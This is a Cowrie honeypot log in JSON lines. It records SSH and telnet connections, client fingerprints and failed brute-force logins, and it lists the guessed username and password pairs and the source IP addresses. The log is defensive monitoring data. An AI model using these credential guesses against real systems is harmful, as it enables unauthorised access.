{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:34:57.829386Z","src_ip":"221.163.5.228","session":"c0eb652e22a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.146.69","src_port":58264,"dst_ip":"10.17.0.5","dst_port":23,"session":"c63f46f90bfe","protocol":"telnet","message":"New connection: 107.150.146.69:58264 (10.17.0.5:23) [session: c63f46f90bfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:34:59.691126Z"}
{"eventid":"cowrie.session.closed","duration":62.99717736244202,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:35:01.730659Z","src_ip":"170.64.224.25","session":"d62baa7513df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":24.28529167175293,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:35:09.454175Z","src_ip":"170.64.224.25","session":"1d1476d2ae69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":40320,"dst_ip":"159.203.135.109","dst_port":22,"session":"979e7ab09391","protocol":"ssh","message":"New connection: 89.223.69.22:40320 (159.203.135.109:22) [session: 979e7ab09391]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:35:26.521186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:35:26.525214Z","src_ip":"89.223.69.22","session":"979e7ab09391","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:35:26.634357Z","src_ip":"89.223.69.22","session":"979e7ab09391","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"24101980","message":"login attempt [root/24101980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:35:26.967853Z","src_ip":"89.223.69.22","session":"979e7ab09391","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:35:28.078613Z","src_ip":"89.223.69.22","session":"979e7ab09391","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.29960799217224,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:35:35.990610Z","src_ip":"107.150.146.69","session":"c63f46f90bfe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":67.23098659515381,"message":"Connection lost after 67 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:35:47.629761Z","src_ip":"170.64.224.25","session":"b4a39cacf98d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":46948,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfa86b8f1f30","protocol":"telnet","message":"New connection: 170.64.224.25:46948 (159.203.135.109:23) [session: dfa86b8f1f30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:36:31.908162Z"}
{"eventid":"cowrie.session.connect","src_ip":"183.91.11.226","src_port":47396,"dst_ip":"159.203.135.109","dst_port":23,"session":"026c9919a523","protocol":"telnet","message":"New connection: 183.91.11.226:47396 (159.203.135.109:23) [session: 026c9919a523]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:36:41.969194Z"}
{"eventid":"cowrie.session.connect","src_ip":"221.163.5.228","src_port":44190,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac67fae8bcb2","protocol":"ssh","message":"New connection: 221.163.5.228:44190 (159.203.135.109:22) [session: ac67fae8bcb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:36:45.352538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:36:45.356403Z","src_ip":"221.163.5.228","session":"ac67fae8bcb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"3cb24313ef7969100a7527f11b569cd4","hasshAlgorithms":"diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,ext-info-c;3des-cbc,aes128-cbc,aes128-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 3cb24313ef7969100a7527f11b569cd4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:36:45.561264Z","src_ip":"221.163.5.228","session":"ac67fae8bcb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hz@123456","message":"login attempt [root/hz@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:36:46.422929Z","src_ip":"221.163.5.228","session":"ac67fae8bcb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:36:47.631195Z","src_ip":"221.163.5.228","session":"ac67fae8bcb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":48310,"dst_ip":"10.17.0.5","dst_port":22,"session":"5af53ef4a6ba","protocol":"ssh","message":"New connection: 46.19.67.181:48310 (10.17.0.5:22) [session: 5af53ef4a6ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:36:53.300888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:36:53.304978Z","src_ip":"46.19.67.181","session":"5af53ef4a6ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:36:53.411809Z","src_ip":"46.19.67.181","session":"5af53ef4a6ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"06031982","message":"login attempt [root/06031982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:36:53.733759Z","src_ip":"46.19.67.181","session":"5af53ef4a6ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:36:54.844504Z","src_ip":"46.19.67.181","session":"5af53ef4a6ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.243.11.39","src_port":47920,"dst_ip":"10.17.0.5","dst_port":22,"session":"9be13aa840af","protocol":"ssh","message":"New connection: 185.243.11.39:47920 (10.17.0.5:22) [session: 9be13aa840af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:37:12.798494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:37:12.804677Z","src_ip":"185.243.11.39","session":"9be13aa840af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:37:12.900837Z","src_ip":"185.243.11.39","session":"9be13aa840af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"B1tm@rt!M@st3r","message":"login attempt [root/B1tm@rt!M@st3r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:37:13.188618Z","src_ip":"185.243.11.39","session":"9be13aa840af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:37:14.289175Z","src_ip":"185.243.11.39","session":"9be13aa840af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.06372618675232,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:37:22.032798Z","src_ip":"183.91.11.226","session":"026c9919a523","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.33315086364746,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:37:23.241194Z","src_ip":"170.64.224.25","session":"dfa86b8f1f30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.5.224","src_port":47586,"dst_ip":"10.17.0.5","dst_port":22,"session":"662a8237f6a0","protocol":"ssh","message":"New connection: 162.214.5.224:47586 (10.17.0.5:22) [session: 662a8237f6a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:37:34.635437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:37:34.638953Z","src_ip":"162.214.5.224","session":"662a8237f6a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:37:34.729667Z","src_ip":"162.214.5.224","session":"662a8237f6a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hedera","password":"hedera2024","message":"login attempt [hedera/hedera2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:37:35.003114Z","src_ip":"162.214.5.224","session":"662a8237f6a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:37:36.096047Z","src_ip":"162.214.5.224","session":"662a8237f6a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":53408,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e5a49968226","protocol":"telnet","message":"New connection: 170.64.224.25:53408 (159.203.135.109:23) [session: 1e5a49968226]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:37:40.959483Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":45446,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f0348dbec59","protocol":"telnet","message":"New connection: 170.64.224.25:45446 (159.203.135.109:23) [session: 6f0348dbec59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:37:49.398115Z"}
{"eventid":"cowrie.session.connect","src_ip":"191.7.26.153","src_port":53498,"dst_ip":"159.203.135.109","dst_port":22,"session":"958f32dc5b3f","protocol":"ssh","message":"New connection: 191.7.26.153:53498 (159.203.135.109:22) [session: 958f32dc5b3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:37:58.121089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:37:58.127233Z","src_ip":"191.7.26.153","session":"958f32dc5b3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:37:58.253809Z","src_ip":"191.7.26.153","session":"958f32dc5b3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"entertainment","password":"123456","message":"login attempt [entertainment/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:37:58.741922Z","src_ip":"191.7.26.153","session":"958f32dc5b3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:37:59.866959Z","src_ip":"191.7.26.153","session":"958f32dc5b3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":36198,"dst_ip":"159.203.135.109","dst_port":22,"session":"a764055b690f","protocol":"ssh","message":"New connection: 103.77.175.15:36198 (159.203.135.109:22) [session: a764055b690f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:38:11.254632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:38:11.258402Z","src_ip":"103.77.175.15","session":"a764055b690f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:38:11.483982Z","src_ip":"103.77.175.15","session":"a764055b690f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"23051980","message":"login attempt [root/23051980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:38:12.162675Z","src_ip":"103.77.175.15","session":"a764055b690f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:38:13.398391Z","src_ip":"103.77.175.15","session":"a764055b690f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.81359672546387,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:38:21.772931Z","src_ip":"170.64.224.25","session":"1e5a49968226","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"221.163.5.228","src_port":49716,"dst_ip":"159.203.135.109","dst_port":22,"session":"12ba1b374fe7","protocol":"ssh","message":"New connection: 221.163.5.228:49716 (159.203.135.109:22) [session: 12ba1b374fe7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:38:30.388130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:38:30.392380Z","src_ip":"221.163.5.228","session":"12ba1b374fe7","protocol":"ssh"}
